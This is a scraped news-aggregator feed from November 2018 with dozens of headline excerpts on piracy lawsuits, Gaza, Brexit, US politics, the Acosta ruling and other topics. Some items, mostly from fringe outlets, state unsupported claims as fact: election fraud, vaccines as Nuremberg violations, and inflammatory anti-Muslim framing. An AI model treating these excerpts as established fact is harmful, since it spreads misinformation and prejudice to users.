In recent years, a wide variety of companies have filed lawsuits against sellers of pirate set-top boxes.

Several of these cases target devices that cater to the Asian market and havent received a lot of press, but a recent order against the company behind the BTV set-top box caught our eye.

The case in question was filed by a group of rightsholders including Asia TV, Star India, Viacom18, and Dish Network. In their complaint, they accuse Hong Kong-based Dibia Networks Limited of running a pirate broadcasting network by retransmitting copyrighted channels.

Dibia has built its business model around blatant copyright infringement, brazenly advertising and promoting the capability of the BTV device to provide users with infringing streams of the Copyrighted Programs, it reads.

As is often the case in piracy-related lawsuits, Dibia did not defend itself. As a result, the rightsholders moved for a default judgment which includes a rather broad permanent injunction.

The companies requested the maximum statutory damages for 44 separate TV episodes and that is exactly what they got. In a recent order, New York District Court Judge George Daniels awarded a total of $6.6 million in damages.

Its questionable whether the rightsholders will ever see a penny, but an associated permanent junction gives them a lot of options to make sure that the BTV set-top boxes remain offline.

Aside from restraining Dibia from engaging in any infringing activities, it directs domain name registrars and registries to disable BTVs websites, and transfer the domains to the rightsholders. This includes BTVBox.com, which has been signed over to Dish Network.

These domain takeovers are not new but the injunction goes further than that, mentioning various third-party intermediaries who are compelled to cut their ties with servers or sites that are linked to BTV the boxes or apps.

This includes companies that are involved in sales, distribution, shipping or logistics services, for the set-top boxes, but also back-end service providers, service providers routing traffic or providing bandwidth, content delivery networks, and domain name server systems, for the associated sites.

This order is rather broad, particularly in respect of the companies that route traffic, which could include the Tier1 networks that form the Internets backbone. The term DNS systems can be interpreted broadly as well, adding virtually every ISP into the mix.

Whether this is the intention of the rightsholders is unclear, as they list CloudFlare, Incapsula, and DNSPod as examples. The latter two dont o...

18:37

Pentagon Fails Its First-Ever Audit "IndyWatch Feed Allworld"

After generations of being a black hole down which money goes, never to return, a team of 1,200 auditors tried to give the Pentagon its first ever comprehensive audit, just to see where all that money went. Unsurprisingly, it went poorly, and was declared a failure. How bad the failure was is something of a mystery []

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18:33

UN office warns 97 percent of ground water in Gaza is undrinkable, causing risk of disease outbreak and epidemic "IndyWatch Feed Allworld"

Electricity supply in Gaza increased up to 18 hours a day in some areas, following the provision of additional fuel to operate the Gaza Power Plant.

Only 22 per cent of patients injured during the Gaza demonstrations, who were referred for follow-up surgery in the West Bank or Israel, have been granted Israeli exit permits.

97 per cent of ground water extracted in Gaza is unfit for human consumption, generating the risk of a waterborne disease outbreak.

The number of Israeli settler attacks against Palestinians and their property during 2018 grew by 57 and 175 per cent, compared with 2017 and 2016, respectively.

Overview: October 2018

Israeli settlers, accompanied by Israeli soldiers, assault Urif village (Nablus), 6 July 2018. Photo by Adel al-Amer/BTselem

Israeli settlers, accompanied by Israeli soldiers, assault Urif village (Nablus), 6 July 2018. Photo by Adel al-Amer/BTselem

During the first week of November, residents of the Gaza Strip experienced some respite from the deteriorating humanitarian situation. First, the electricity supply increased up to 18 hours a day in some areas, from 4-5 hours in previous months, following the provision of additional fuel to operate the Gaza Power Plant. Second, around 27,000 civil servants, hired by Hamas after the 2007 takeover, were paid their August salaries, while 50,000 of the poorest families began receiving an US$ 100 allocation. These developments have been made possible due to funding provided by the Government of Qatar, and following Israels authorization of the entry of the fuel and cash into Gaza. In addition, while the Great March of Return demonstrations along the perimeter fence continue, there has been a significant decline in clashes between demonstrators and Israeli forces and a resulting decrease in casualties.

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More casualties sustained during the Great March of Return in Gaza

18:33

Fascism in our times "IndyWatch Feed Allworld"

The spread of openly racist, authoritarian governments raises the specter of 1930s fascism. And while continuities can no doubt be found (and not necessarily at the seemingly obvious levels of discourse, tactics or paraphernalia), differences are also significant and ignoring the latter will carry a heavy cost for any anti-capitalist politics.

Originally published by Autonomies. Written by Julius Gavroche.

Note: Enough is Enough is not organizing any of these events, we are publishing this text for people across the US and Europe to be able to see what is going on and for documentation only.

Men insofar as they are more than animal reaction and fulfillment of functions are entirely superfluous to totalitarian regimes. Totalitarianism strives not toward despotic rule over men, but toward a system in which men are superfluous. Total power can be achieved and safeguarded only in a world of conditioned reflexes, of marionettes without the slightest trace of spontaneity. Precisely because mans resources are so great, he can be fully dominated only when he becomes a specimen of the animal-species man.

Hannah Arendt, The Origins of Totalitarianism

Fascism is over since it rested upon God, family, homeland and the army, which are now meaningless words. There are no more Italians who get emotional in front of the flag.  I consider consumerism a worse fascism than that the classical one, because clerical-fascism did not transform Italians. It did not get into them. It was totalitarian but not totalizing. Ill give you an example: fascism has tried for twenty years to eliminate dialects and it didnt succeed. Consumerism, which, on the contrary, pretends to be safeguarding dialects, is destroying them.

Pier Paolo Pasolini, LEspresso

I have coined the term post-fascism to describe a cluster of policies, practices, routines and ideologies which can be observed everywhere in the contemporary world. Without ever resorting to a coup detat, these practices are threatening our communities. They find their niche easily in the new global capitalism, without upsetting the dominant political forms of electoral democracy and representative government. Except in Central Europ...

18:32

Personal Cheques Still Alive and Well in the United Kingdom in 2018 "IndyWatch Feed Allworld"

Paper cheques didnt finally disappear last month as hoped in 2009

Back in December 2009, the board of the United Kingdom Payments Council set 31 October 2018 as the date when paper cheques (or checks) would be totally phased out in the UK. The Payments Council believed [PDF] that with the public using fewer cheques every year, with most major retailers refusing to accept cheques, and with the advent of mobile checking and other electronic forms of transferring money promising to appear in the next few years, cheques could easily be eliminated within a decade.

But things didnt go quite according to plan.

The Payments Councils announcement was soon met with opposition from various groups, especially those representing the elderly. They wanted a guaranteed paper-based alternative, which would defeat one of the main purposes of getting rid of cheques in the first place: their high processing cost (about 1 per cheque). Charities were also unhappy, fearing a major reduction in donations if cheques were eliminated because of what they said was an ingrained UK culture of charity cheque giving.

It didnt help that soon after the announcement, stories like this one in The Telegraph appeared, claiming that the elimination of cheques meant a cashless society was just over the horizon. These stories further heightened the concerns of the elderly and charity groups. By the end of February 2010, the ruckus was such that the House of Commons Treasury Committee opened up an inquiry into the proposed cheque abolition plan.

It quickly became obvious to the Payments Council that their plan to eliminate cheques by 2018 did not have either public or political support. In July 2011, the Council withdrew [PDF] its 2018 date, proclaiming that cheques will continue for as long as customers need them. The Council also indicated that it would st...

18:30

Rather than being critics, Liberals actually enable Saudi crimes "IndyWatch Feed Allworld"

By Yves Engler  November 16, 2018 One has to admire the Canadian governments manipulation of the media regarding its relationship with Saudi Arabia. Despite being partners with the Kingdoms international crimes, the Liberals have managed to convince some gullible folks they are challenging Riyadhs rights abuses. By downplaying Ottawas support for violence in Yemen while []

18:30

This Tech Stock Had A Major Sell Off and Funds Keep Dumping More (Video) "IndyWatch Feed Allworld"

This Tech Stock Had A Major Sell Off and Funds Keep Dumping More Video The Money GPS Video Source

The post This Tech Stock Had A Major Sell Off and Funds Keep Dumping More (Video) appeared first on The Daily Coin.

18:30

The Telephone "IndyWatch Feed Allworld"

KINs poem of the week comes from Kpitis poet laureate Gill Ward. The telephone ignores body language does not glimpse []

18:30

Face of the day "IndyWatch Feed Allworld"

[] When she was rescuing the driver, Matehaere was worried the car would explode like a scene in the movies, but she didnt let that fear stop her from saving the woman. I think anyone in my position would do the same thing, she said. Matehaere was disappointed the two cars she saw pass the [] The post Face of the day appeared first on Whale Oil Beef Hooked | Whaleoil Media.

18:27

Divided over Brexit but nowhere to run "IndyWatch Feed Allworld"

A very good interview about a really chaotic situation: 'the delusional politics of Britain'. The dark joke that as a colonial power Britain used to practice 'divide & run' governance, has come full circle, only this time Britain divided itself and has no where to run #brexit https://t.co/9apRLBXKza Bronwyn Hayward (@BMHayward) November 16, 2018 []

18:26

Family of Palestinian woman murdered by illegal settlers finds no justice, still searching for answers "IndyWatch Feed Allworld"

It all happened within seconds. Aisha al-Rabi, 48, was sitting in the car with her husband Yaqoub, 51, laughing and jesting with their youngest daughter, 8-year-old Rama. The parents of eight children were on the way home to their village of Bidya, in the northwestern occupied West Bank, after visiting one of their daughters in Hebron on October 12. Yaqoub and Aisha were excitedly discussing plans for the engagement of one of their daughters in two weeks. The next moment, Aisha was unconscious, blood spilling from her head.

18:23

New Video Provides Proof Florida Voting Machines Contain Hackable Modems "IndyWatch Feed Allworld"

In the past few week, conservatives across the United States have been perplexed as Democrats have effectively changed the results of certain races, in some cases claiming victory from the jaws of defeat even after [...]

The post New Video Provides Proof Florida Voting Machines Contain Hackable Modems appeared first on News Punch.

18:22

Screenwriter and Author William Goldman Dead at 87 "IndyWatch Feed Allworld"

NEW YORK William Goldman, the Oscar-winning screenwriter and Hollywood wise man who won Academy Awards for Butch Cassidy and the Sundance Kid and All the Presidents Men and summed up the mystery of making a box office hit by declaring Nobody knows anything, has died. He was 87.

Goldmans daughter Jenny said her father died early Friday in New York due to complications from colon cancer and pneumonia. So much of whats hes written can express who he was and what he was about, she said, adding that the last few weeks, while Goldman was ailing, revealed just how many people considered him family.

Goldman, who also converted his novels Marathon Man, Magic, The Princess Bride and Heat into screenplays, clearly knew more than most about what the audience wanted. He was not only a successful film writer but a top script doctor, the industry title for an uncredited writer brought in to improve or punch up weak screenplays.

Goldman also made political history by coining the phrase follow the money in his script for All the Presidents Men, adapted from the book by Washington Post reporters Bob Woodward and Carl Bernstein on the Watergate political scandal. The film starred Robert Redford as Woodward and Dustin Hoffman as Bernstein. Standing in the shadows, Hal Holbrook was the mystery man code-named Deep Throat who helped the reporters pursue the evidence. His advice, Follow the money, became so widely quoted that few people realized it was never said during the actual scandal.

A confirmed New Yorker, Goldman declined to work in Hollywood. Instead, he would fly to Los Angeles for two-day conferences with directors and producers, then return home to fashion a script, which he did with amazing speed. In his 1985 book, Adventures in the Screen Trade, he expressed disdain for an industry that elaborately produced and tested a movie, only to see it dismissed by the public during its first weekend in theaters.

Nobody knows anything, he remarked.

Screenwriter and filmmaker Aaron Sorkin called Goldman a mentor.

He was the dean of American screenwriters and generations of filmmakers will continue to walk in the footprints he laid, Sorkin said in a statement. He wrote so many unforgettable movies, so many thunderous novels and works of non-fiction, and while Ill always wish hed written one more, Ill always be grateful for what hes left us.

Goldman launched his writing career after receiving a masters degree in English from Columbia University in 1956. Weary of academia, he declined the chance to earn a Ph.D., choosing instead to write the novel The Temple of Gold in 10 days. Knopf agreed to publish it.

If the book had not been taken, he told an interviewer, I would have gone into advertising or something....

18:20

Donald Trump Preparing For The Worst As Robert Mueller Set To Unleash Category 5 Hurricane, Insiders Say "IndyWatch Feed Allworld"

________ Inquisitr Donald Trump Preparing For The Worst As Robert Mueller Set To Unleash Category 5 Hurricane, Insiders Say Anxiety is running high inside the Donald Trump White House as Russia investigation Special Counsel Robert Mueller prepares to end a period with almost no public activity, leading up to the 2018 midterm elections, Politico reported []

18:20

U.S. Has No Peace Movement "IndyWatch Feed Allworld"


America Has No Peace Movement Blame the White Supremacists

America Has No Peace Movement Blame the White Supremacists


The United States of America has no peace movement even though the country has been mired in unwinnable wars since 2001 and opinion polls suggest that there is only lukewarm support among the public for what is taking place in Afghanistan and Syria. This is in part due to the fact that todays corporate media virtually functions as a branch of government, which some might refer to as the Ministry of Lies, and it is disinclined to report on just how dystopic American foreign and national security policy has become. This leaves the public in the dark and allows the continued worldwide blundering by the US military to fly under the radar.
The irony is that Americas last three presidents quite plausibly can be regarded as having...

18:20

Pedophile Priest Who Raped 9-Yr-Old Found Dead With Severed Penis "IndyWatch Feed Allworld"

A priest accused of raping a 9-year-old girl died in hospital after bleeding from a wound caused by the girls father who tracked down the preacher, beat him, and severed his penis from his body. [...]

The post Pedophile Priest Who Raped 9-Yr-Old Found Dead With Severed Penis appeared first on News Punch.

18:20

Even without his body, Muslims around the world commemorate Khashoggi "IndyWatch Feed Allworld"

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Funeral prayers were held in Islam's holiest cities and elsewhere for slain journalist Jamal Khashoggi

18:18

Pope Francis Approval Rating At Record Low After Child Abuse Cover Up "IndyWatch Feed Allworld"

Pope Franciss approval ratings have plummeted to a record low among U.S. Catholics after a series of child sex scandals and cover ups have finally turned his own flock against him. According to Alan Cooperman, [...]

The post Pope Francis Approval Rating At Record Low After Child Abuse Cover Up appeared first on News Punch.

18:18

Open letter - Brazilian civil society recommendations for the 14th Conference of the Parties of the Convention on Biological Diversity and its protocols "IndyWatch Feed Allworld"

We, Brazilian peasants, family farmers, indigenous peoples, traditional peoples and communities, community scientists, social and trade union movements and urban groups, aware of the themes to be discussed at COP14, hereby manifest our position. 

 

18:17

Muslim Refugee Arrested For Raping 3-Yr-Old Boy At Migrant Camp "IndyWatch Feed Allworld"

A 20-year-old Muslim refugee has been arrested over claims he raped a 3-year-old boy in a refugee camp in north-western Greece. Alshahada Thamer, 20, from Syria, was taken into custody after the boys mother, whose [...]

The post Muslim Refugee Arrested For Raping 3-Yr-Old Boy At Migrant Camp appeared first on News Punch.

18:17

Upper Hutt Posse: Death to all oppressors "IndyWatch Feed Allworld"

I hadnt heard of Upper Hutt Posse before but they have just been given a Legacy Award at the Legacy Award at the 2018 Vodafone New Zealand Music Award ceremony. On accepting the award frontman Dean Hapeta spoke against involvement in wars in Afghanistan and Iraq, suggested New Zealand should assist Palestine against racist Israel, []

18:16

Oreo Cookie Maker Linked To Orangutan Habitat Destruction For Palm Oil "IndyWatch Feed Allworld"

By Lorraine Chow via Eco Watch

Greenpeace International published a new report on Tuesday accusing Mondelz International of sourcing palm oil from rainforest destroyers.

Palm oil is an ingredient in many of the companys popular products, including Oreo cookies, Ritz crackers and Cadbury chocolate bars.

The report comes a day after Mondelz announced it has excluded 12 upstream suppliers as a result of deforestation practices. The Illinois-based snack food giant started its journey to sustainable palm oil in 2009 and committed to sourcing certified sustainable palm oil (CSPO) in 2013, according to WWFs palm oil scorecard.

Despite this commitment, Greenpeace said in its report that between 2015 and 2017,...

18:16

California Forced Vaccinations A Blatant Violation of The Nuremberg Code That Outlawed Medical Experiments On Humans "IndyWatch Feed Allworld"

As Californias forests are going up in flames, you might wonder whether the bureaucrats of California actually care about children at all. If they did, they wouldnt be forcing dangerous, deadly vaccinations onto the children of the state, in total violation of the Nuremberg Code that was created to halt the Nazi practice of using []

18:15

Consciousness and Vibration "IndyWatch Feed Allworld"

Could consciousness all come down to the way things vibrate?


 

November 9, 2018 11.45am GMT



Why is my awareness here, while yours is over there? Why is the universe split in two for each of us, into a subject and an infinity of objects? How is each of us our own center of experience, receiving information about the rest of the world out there? Why are some things conscious and others apparently not? Is a rat conscious? A gnat? A bacterium? 
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18:15

Word of the day "IndyWatch Feed Allworld"

The word for today is periphrasis (noun) 1. The use of circumlocution. (Use of a longer phrasing in place of a possible shorter form of expression). 2. A circumlocution. Source : The Free Dictionary Etymology : Its easy enough to point out the origins of periphrasis: the word was borrowed into English in the [] The post Word of the day appeared first on Whale Oil Beef Hooked | Whaleoil Media.

18:15

Trump Surpasses Record For Most Bombs Dropped In One Year In Afghanistan, Over 5,200 "IndyWatch Feed Allworld"

17 years after U.S. forces and the Northern Alliance captured Kabul, half of Afghanistan has been retaken by the Taliban and the war is dragging on. ISIS have also become increasingly active in the country and approximately 14,000 U.S. troops are still serving there in an attempt to contain a growing wave of extremism. Even though the conflict has been making fewer headlines in recent years, the U.S. has never dropped as many bombs on Afghanistan as it did this year. According to U.S. Air Forces Central Command data, manned and unmanned aircraft released 5,213 weapons between January and the end of September 2018.

18:15

Trump White House Responds to Judges Ruling that CNNs Jim Acosta Has Right to Disrupt White House Pressers "IndyWatch Feed Allworld"

Disgraceful.
On Friday morning a federal judge ruled that the Trump White House must restore jackass Jim Acostas hard press pass.

This is unbelievable.

In any other business this jackass would be fired at CNN he is defended in court.

The Trump White House later released a statement on the courts ruling.

According to the White House: The court made clear that there is no absolute First Amendment right to access the White House.

The judge ruled Acosta has a right to disrupt the press conferences and swipe at young female interns.

The post Trump White House Responds to Judges Ruling that CNNs Jim Acosta Has Right to Disrupt White House Pressers appeared first on The Gateway Pundit.

18:13

Russia close to recognising Donetsk and Luhansk republics after Donbass elections "IndyWatch Feed Allworld"

Pravda: Moscow has strengthened its position in Luhansk and Donetsk Peoples Republics (LDNR) on Sunday, November 11. Now there are legitimate authorities in the republics, with which Russia can implement the project of the economic integration of the Donbass. Representatives of Western countries and Ukraine released a joint statement at the UN, in which they []

18:11

HUD Inspections Are Passing Apartments in Unspeakable Conditions "IndyWatch Feed Allworld"

This article was produced in partnership with The Southern Illinoisan, which is a member of the ProPublica Local Reporting Network.

In the winter of 2017, a toddler was rushed to the emergency room after swallowing rodent poison inside her familys unit at the federally subsidized Clay Arsenal Renaissance Apartments in Hartford, Connecticut. Her mother had placed sticky traps throughout the house after another one of her children was bitten on the arm by a mouse, according to a local housing advocate who worked with the family.

This August, Missouri Attorney General Josh Hawley sued the St. Louis Housing Authority and the private management company it hired to run the Clinton-Peabody Housing Complex, saying they both violated the states consumer protection laws by advertising that the development was habitable even though it was plagued by a pest infestation, black mold and water damage.

That same month, residents of Texas Coppertree Village Apartments in Houston filed suit against the U.S. Department of Housing and Urban Development, saying the federal government had failed to hold their landlord accountable for deplorable conditions and criminal activity at the federally subsidized complex, including rapes, aggravated assaults and robberies.

In all three cases, despite well-known, long-standing problems, the properties had passed their most-recent inspections mandated by HUD.

Apartment complexes subsidized by HUD collectively house more than 2 million low-income families around the country. Some are run by public housing authorities and others are owned by private for-profit or nonprofit landlords. By law, the owners of such complexes must pass inspections demonstrating they are decent, safe and sanitary in exchange for millions of dollars in federal money each year.

But as thousands of renters across the country have discovered, passing scores on HUD inspections often dont match the reality of renters living conditions. The two-decade-old inspection system the federal housing agencys primary oversight tool is failing low-income families, seniors and people with disabilities and undermining the agencys oversight of billions of dollars in taxpayer-funded rental subsidies, an investigation by The Southern Illinoisan and ProPublica has found.

HUD has given passing inspection grades for years to dangerous buildings filled with rats and roaches, toxic mold an...

18:10

Gold Rises As Stocks Fall On Valuation Concerns, Italy and Brexit Risks "IndyWatch Feed Allworld"

Gold Rises As Stocks Fall On Valuation Concerns, Italy and Brexit Risks by Mark OByrne GoldCore Key Gold and Precious Metals News, Commentary and Charts This Week Gold and silver have eked out slight gains this week as stock...

The post Gold Rises As Stocks Fall On Valuation Concerns, Italy and Brexit Risks appeared first on The Daily Coin.

18:10

Talking to KPMG about Brexit 27 September 2018 "IndyWatch Feed Allworld"

Whether or not you agree with his politics, theres no denying that Greeces one-time Finance Minister, Yanis Varoufakis, offers a lot of food for thought to British businesses. The economist, politician, author and dedicated European reformer addressed our KPMG Executive Exchanges dinner in Leeds in late September. Theresa May, Brexit, Angela Merkel, deflation, the northern powerhouse, idle liquidity and Michel Barnier were all given the Varoufakis treatment in a thought-provoking analysis of the world as he sees it.

Chris Hearld, North Regional Chair

No way but Norway

Varoufakis views on Brexit (best to aim for a Norwaystyle agreement with a customs union agreement thrown in) and a second referendum (no chance; its no longer a binary choice) are well publicised.

Do not bother trying to negotiate with Barnier and the EU, said Yanis. The EU doesnt do negotiations. Highly regimented and inflexible; it is structurally incapable of negotiating. It has too many interests to protect and is fearful of the message that any sort of Brexit leniency will send to the rest of Europe.

The way to go into discussions with the EU is to have a firm idea of what you want to get which you can push ahead with, regardless of what they come back with. Once Theresa May went in there, needing something from them, creating lines that would need to be crossed, the game was up.

Yanis is often referred to as radical and controversial but when I asked him whether this is unfair, hes seemingly indifferent. We live in a world where common sense has been painted as controversial. Its a reflection of the crisis were going through. I dont believe that advocating that a bankrupt entity [the Greek state] shouldnt take on more loans is either controversial or radical. But the fact that it is painted as such means that were in deep trouble.

Time is of the essence

As he drew out the parallels between Brexit and his experience in Greece, talk inevitably turned to 2015 and the intense period of negotiations he led. In 2015, with his feet having scarcely touched the floor in his new ministry, he had to face down the troika of the European Commission, European Central Bank and International Monetary Fund over the proposed Greek bailout. At the time, he secured a four month debt deadline extension.

I bought those four months as breathing space to help our creditors find more common ground with us. Instead, they used that time to heap more pressure on my Prime Minister. It worked and he buckled. With hindsight, securing those extra four months was actually a mistake. Looking back, perhaps I should have known better but I had too much faith in him.

The reason this is interesting is that time is exactly what he suggests Ther...

18:09

Help MintPress News Fight for Truth in the Face of Social Media Censorship "IndyWatch Feed Allworld"

After the October 11th, 2018 Facebook and Twitter purge of over 800 activist sites and pages many of which were partner sites with MintPress we believe our days as an independent journalism organization on authoritarian social media platforms are numbered.

Since 2012, MintPress News has been at the forefront of exposing the dangers of the national security state, the military-industrial complex, and the corporations that have hijacked our democracy and are destroying the planet.

We have stood up strong against a media Goliath the corporate media that controls over 90% of what we see, hear and read in equipping the American public with pertinent information that holds the establishment accountable.

Our independent watchdog journalism is creating a shift in consciousness among the millions of readers weve been able to reach in the last 6 years, and the powers that be are taking notice. They realize the impact MintPress is making and are trying to silence us where we reach most of you and where the majority of people are getting their news from: on social media.

The very establishment the media should be holding accountable are working hand-in-hand with corporate media giants, including The Washington Post and Buzzfeed, to play Thought Police and fake news spotters who have targeted MintPress on Facebook. To make matters worse, NATO-funded think tanks like the Atlantic Council have also partnered up with Facebook to suppress our content, flag our posts as inappropriate or spam, and in many cases censor us under the guise of fighting fake news.

Facebook has been flagging several of our articles and our readers political comments as spam. Its only a matter of time before our page and some of our readers end up in .........

18:07

Boston Billboard Honoring Gaza First Responders Removed over Claims of Anti-Semitism "IndyWatch Feed Allworld"

Nearly 3 weeks into its planned 4-week run, an electronic billboard honoring first responders in the Gaza Strip was pulled on November 13th when the billboard company received phone calls and email complaints labeling their staff as terrorists and anti-Semites and threatening a boycott.

The Palestine Advocacy Project sponsored the billboard on Interstate 93, near Boston, Massachusetts, USA, to highlight the desperate situation in the Gaza Strip, and to emphasize the humanity and agency of the people of Gaza, who are often portrayed as terrorists or victims.

The billboard included a photo of deceased Palestinian medic Razan al-Najjar, and text reading: Honoring the First Responders of Gaza. Saving Lives. Rescuing Hope. It was estimated to be viewed by over a half million motorists each week of its planned 4-week run, beginning 24 October. The billboard was met with positive media coverage.

This week, a coordinated, aggressive campaign was launched against the billboard company with accusations of anti-Semitism, intended to damage the company for hosting this billboard. Sarah Gold, a volunteer with the Palestine Advocacy Project, said:

This campaign is neither engaging us nor our perspective. Instead, it is attempting through intimidation to eradicate the avenues of free speech we have endeavored to use; to silence us.

The billboard is another casualty in an ongoing attack on free speech. Palestine Legal states in their 2017 report, The Israeli state and its proxy organizations in the U.S. are investing heavily in punitive measures to intimidate and chill the free speech of those who wish to express criticism of Israeli policies. The report documents 308 attacks on U.S.-based Palestine-related free speech in 2017 alone, according to the PNN.

Razan al-Najjar and other Gazan first responders were doing their best to attend to wounded civilians; yet celebrating them is construed as an act of hate & anti-Semitism. One complaint reads in part: A billboard glorifying those who try to kill and destroy our People and Homeland! Anti Semitism is as old as time itself, Hate of Israel is hate of Jews, completely unacceptable! This negative campaign appears to be based on the erroneo...

18:07

Rubio: No Evidence Of Election Fraud? Look What We Just Learned Democrats Did In Florida "IndyWatch Feed Allworld"

This is now under investigation by federal prosecutors. They shouldnt be counting fraudulent ballots. Via Daily News: With the machine recounts finished reportedly resulting in a net gain for Republican Rick Scott of 41 votes, putting him ahead of Bill Nelson by 12,603 votes, and a one-vote gain for Democrat Andrew Gillum, which leaves []

18:05

Court Rules for CNN and Jim Acosta But Trump Has Already Won "IndyWatch Feed Allworld"

Judge orders White House to return Jim Acostas press pass

Federal judge Timothy J. Kelly sided with CNN on Friday morning, ordering the White House to reinstate chief White House correspondent Jim Acostas press pass immediately.

The ruling was an initial victory for CNN in its lawsuit against President Trump and several top aides. The suit alleges that CNN and Acostas First and Fifth Amendment rights are being violated by the suspension of his press pass.
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Kelly did not rule on the underlying case on Friday. But he granted CNNs request for a temporary restraining order. And he said he believes that CNN and Acosta are likely to prevail in the case overall.
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Speaking outside the court, Ted Boutrous, an outside attorney representing CNN, said this is a great day for the First Amendment and journalism.
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Courts Will Rule for CNN But Trump Has Already Won

Revoking Acostas pass undercut the press, which is a message the president is happy to send.

November 13, 2018, 12:58 PM EST......

18:05

Cost Of War On Terror Soon To Be Over $6 Trillion "IndyWatch Feed Allworld"

The United States has appropriated and is obligated to spend an estimated $5.9 trillion (in current dollars) on the war on terror through Fiscal Year 2019, including direct war and war-related spending and obligations for future spending on post-9/11 war veterans (see Table 1). This number differs substantially from the Pentagons estimates of the costs of the post-9/11warsbecause it includes not only war appropriations made to the Department of Defense spending in the war zones of Iraq, Syria, Afghanistan, Pakistan, and in other places the government designates as sites of overseas contingency operations, but also includes spending across the federal government that is a consequence of these wars.

18:04

Claimed Khashoggi Murdered Partnered With Mike Flynn, Trumps Disgraced RussiaGate General "IndyWatch Feed Allworld"

Editors note:  VT has claimed, all along, that the Khasoggi murder was done to stop the after mid-term Trump/Saudi inquiry, leading to impeachment and prison for Trump family members, maybe all of them. Now we find that General Ahmed al Assiri was in bed with Trumps alleged death squad hitman, Mike Flynn, whose gross misconduct []

18:04

Secret Charges Against Julian Assange Revealed Due to "Cut-Paste" Error "IndyWatch Feed Allworld"

Has Wikileaks founder Julian Assange officially been charged with any unspecified criminal offense in the United States? YES United States prosecutors have accidentally revealed the existence of criminal charges against Wikileaks founder Julian Assange in a recently unsealed court filing in an unrelated ongoing sex crime case in the Eastern District of Virginia. Assistant US Attorney Kellen

18:04

The Speaker is elected by an absolute majority of members. Fudge for Speaker! "IndyWatch Feed Allworld"

"The Speaker of the House is the presiding officer of the United States House of Representatives. The office was established in 1789 by Article I, Section 2 of the United States Constitution. The Speaker is the political and parliamentary leader...

18:03

Bumblebees "IndyWatch Feed Allworld"

Courtesy of Avalus we have a rabble of bumblebees to help chase the November blues away.

All from the first week of October.

The bumblebee on my hand was nice. It was a cold morning and she just buzzed to me, sat down on my hand and seemed to enjoy the heat. My hand hat just been holding a tea mug, so it was extra warm. I improvised some sugarwater of which she drank a drop from my hand and then after about two minutes flew away again.

I love these fuzzy critters.

I love them too, Avalus and it must have been wondrous to have one sit and your hand and stay for so long. Thanks for sharing.

octobees, Avalus, all rights reserved

Avalus, all rights reserved

Avalus, all rights reserved

Avalus, all rights reserved

18:01

Shoddy security of popular smartwatch lets hackers access your childs location "IndyWatch Feed Allworld"

By Waqas

Smartwatches are generally considered safe to keep track of your kids when they are outside the home. However, there is a scary new revelation about this seemingly reliable gadget that it is possible to hack GPS-enabled smartwatches. Probably a majority of children wear smartwatches these days, and the fact that one of the most popular []

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18:00

Paris: Muslims beat 60-year-old man, tell him This is what we do to disbelievers "IndyWatch Feed Allworld"

Celebrate diversity! Diversity is our strength! Elderly man attacked for carrying Christmas presents in Paris: This is what we do to disbelievers, Voice of Europe, November 15, 2018: A 60-year-old man has been beaten in Paris in what seems to be a religious hate crime, newspaper Le Parisien reports. The man had gone shopping for []

18:00

Daily proverb "IndyWatch Feed Allworld"

Proverbs 17 27 A truly wise person uses few words; a person with understanding is even-tempered. The post Daily proverb appeared first on Whale Oil Beef Hooked | Whaleoil Media.

18:00

George W. Bush Or Donald J. Trump? "IndyWatch Feed Allworld"




-by Noah

When President Obama was elected, Republicans howled. Immediately, billboards of George W. Bushs smirking countenance sprang up that read Miss me, yet? It wasnt so much that a Democrat had won the White House. Those things happen. No, it was more about which Democrat had won. Republicans, racists to their core, could not mention Barrack Obamas name without saying Kenya and spitting out Obamas middle name, Hussein (which actually means blessing), in an effort to push their alternative facts that President Obama is a Muslim, and, he wasnt even a citizen of our country. Most Republicans will still do the same thing at the drop of a hat. After all, it was Karl Rove who famously told reporters that the Bush administration would determine what reality was.

But what of Donald Trump? Kellyanne Conartist has moved beyond Karl Rove when it comes to spinning webs of deceit and lies. In fact, she, Spicy and Sarah Huckabee Sanders have just taken Roves ball and run with it and, in a manner to be expected; in a much less sophisticated way. Thats what happens when you lower the bar. Someone comes along and lowers it even further, if not just lay it on the ground.

I hated George W. Bush. I still do and always will. I will never miss him. I dont care that the Obamas literally embrace the man. George W. Bush is and was a war criminal. That will not change with time. He was every bit the war criminal that Nixon and his flunky Henry Kissinger were. Trump, of course, appears at least as treasonous as the latter.

I dont have warm and fuzzy feelings about most of the presidents in my lifetime. I hated Nixon. I hated LBJ and it would be very hard for me to muster any affection at all for Bill Clinton, but, with each of those men, yes, even Nixon, I can come up with something positive, even if its just a very small thing, to say, and I would, except this post isnt about those presidents or any of the others I have witnessed. Bush is another matter. He even out did Reagan and maybe the 19th centurys James Buchanan when it ca...

18:00

Review finds fault with both Bougainville & PNG govts "IndyWatch Feed Allworld"

Mt Bagana
Mt Bagana, Bougainville

ANTHONY KAYBING

BUKA - While Bougainville has a modern system of laws and effective model of representative government and democracy, corruption is still rampant within the autonomous government, Bougainville president John Momis has said.

Dr Momis was responding to findings from the second joint autonomy review in a statement to the Bougainville House of Representatives.

The report demonstrates that the ABG has been chronically underfunded over the life of the Bougainville Peace Agreement.

Where we have received precious funds, these have not been managed well, he said, saying that the report found that the government and the public service consistently fail to adhere to legislation and that corruption has at times taken hold.

This is why I continue to speak so forcefully on the need to ensure that our leaders are held to account, Dr Momis said.

I am heartened by advice that the fraud squad will soon be deployed to Bougainville to investigate allegations of fraud.  Nobody is above the law.  Everyone must be held to account.

The report noted slow progress in advancing the drawdown of powers to the ABG, a result of poor funding from the national government.

There was also a lack of commitment and engagement at national government level.

How can we harness the benefits of autonomy when we cant exercise the powers and functions that autonomy provides? Dr Momis asked.

All we do is maintain a system of dependency, a system that relies on a dysfunctional national government bureaucracy and where policy paralysis prevails.

It is up to both governments to do more, he said.

The review noted a significant failure of government departments to address compliance issues and administer the law.

We must harness the legal powers available to us.  We have excellent laws, but we fail to administer them, Dr Momis said.

The Bougainville Peace Agreement is often hailed as a world best practice document but implementation has been poor.....

Nvidia Just Can't Grab a Break. Revenues up, Profit Nearly Doubles... and Stock Down 20% "IndyWatch Feed Allworld"

Nvidia Just Can't Grab a Break. Revenues up, Profit Nearly Doubles... and Stock Down 20% :

Ongoing Bitcoin woes left the channel holding all the cards, and that's not a good thing

Nvidia has turned in growth in revenue and profit, but has been punished for missing its guidance in the third quarter of its fiscal 2019, all amid a continuing sharp drop in demand from crypto-currency miners.

Its stock fell as much as 20 per cent after it reported on Thursday:

  • Revenue of $3.18bn, up 21 per cent year-on-year, during the three months to the end of October.
